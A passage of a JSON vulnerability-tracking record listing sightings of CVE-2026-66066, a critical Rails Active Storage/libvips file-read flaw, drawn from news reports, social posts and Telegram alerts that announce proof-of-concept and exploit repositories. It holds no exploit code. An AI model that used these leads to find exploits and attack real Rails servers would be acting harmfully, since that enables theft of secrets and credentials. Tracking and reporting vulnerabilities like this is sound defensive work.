Storage\u306b\u3001\u4e0d\u6b63\u306a\u753b\u50cf\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3067\u30b5\u30fc\u30d0\u30fc\u4e0a\u306e\u4efb\u610f\u306e\u30d5\u30a1\u30a4\u30eb\u304c\u8aad\u307f\u53d6\u3089\u308c\u308b\u8106\u5f31\u6027(CVE-2026-66066\u3001CVSS 9.5)\u304c\u3042\u308a\u3001\u4fee\u6b63\u3055\u308c\u305f\u3002", "creation_timestamp": "2026-07-29T19:35:49.159981Z"}, {"uuid": "4dc7eb70-2094-4d5e-b097-151749b41ecd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mrsoxwyxsu24", "content": "\ud83e\udd16 CVE-2026-66066 (CVSS 9.5): Critical Rails Active Storage flaw lets unauthenticated attackers read server files (secret_key_base, DB creds) via image uploads. https://thehackernews.com/2026/07/critical-rails-flaw-could-let.html", "creation_timestamp": "2026-07-29T19:48:04.803800Z"}, {"uuid": "e12f7ba8-a662-41f9-8f59-f02254842f9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://t.me/GithubRedTeam/95744", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-66066\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xBlackash\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-29 20:49:30\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-66066\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-29T22:00:04.142483Z"}, {"uuid": "97d5fa5b-a930-431b-a8cd-5c896de42fb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://thehackernews.com/2026/07/critical-rails-flaw-could-let.html", "content": "Ruby on Rails has released fixes for a critical Active Storage vulnerability that could let unauthenticated attackers read arbitrary files from application servers through crafted image uploads.\n\nTracked as CVE-2026-66066 (CVSS score: 9.5), the flaw can expose the Rails process environment and secrets such as secret_key_base, the Rails master key, database passwords, cloud storage credentials,", "creation_timestamp": "2026-07-29T22:00:50.209582Z"}, {"uuid": "826ac105-3107-43cd-965e-1b3be63106d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/bitnewsbot.bsky.social/post/3mrsybgfyqz2x", "content": "Ruby on Rails patched a critical Active Storage vulnerability, CVE-2026-66066 (CVSS 9.5), allowing unauthenticated file read on servers using libvips. [\u2026]", "creation_timestamp": "2026-07-29T22:34:26.884762Z"}, {"uuid": "93cbc59f-54bb-477f-98c3-c23715d578ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://t.me/GithubRedTeam/95751", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-66066-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Zer0SumGam3\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-29 21:57:10\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-66066 in Ruby on Rails\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-29T23:00:03.541670Z"}, {"uuid": "b2139f56-668c-40e2-9c96-d9c578ed5e4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mrt2yusk2g22", "content": "Rails CVE-2026-66066: Possible arbitrary file read and remote code execution in Active Storage variant processing", "creation_timestamp": "2026-07-29T23:23:20.815906Z"}, {"uuid": "667ca25e-c33d-45fa-a0af-d077394c2baf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/95751", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-66066-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Zer0SumGam3\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-29 21:57:10\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-66066 in Ruby on Rails\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-30T00:00:04.851152Z"}, {"uuid": "99769c53-ad07-4e35-99ef-61e7d666b7aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/95717", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a rails-activestorage-vips-audit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a paveg\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-29 16:53:04\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAgent skill that audits a Rails codebase for CVE-2026-66066 (KindaRails2Shell) \u2014 Active Storage + libvips arbitrary file read / RCE, checking Rails and libvips versions and block-untrusted mitigations\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-30T00:00:23.759465Z"}, {"uuid": "c4c02432-6ea0-4b7c-82b9-5be23e7b3ad4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/95744", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-66066\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xBlackash\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-29 20:49:30\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-66066\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-30T00:00:07.672653Z"}, {"uuid": "1e1b646d-46d8-4646-a15b-048149c8eac3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://t.me/thehackernews/9657", "content": "\u203c\ufe0f WARNING -- Critical Rails flaw CVE-2026-66066 could let unauthenticated attackers read server files through crafted image uploads.\n\nThe bug affects apps using Active Storage with Vips. Stolen Rails keys, database credentials, cloud keys, and API tokens could enable RCE.\n\nPatch now. Read the full story - https://thehackernews.com/2026/07/critical-rails-flaw-could-let.html", "creation_timestamp": "2026-07-30T00:00:22.749266Z"}]}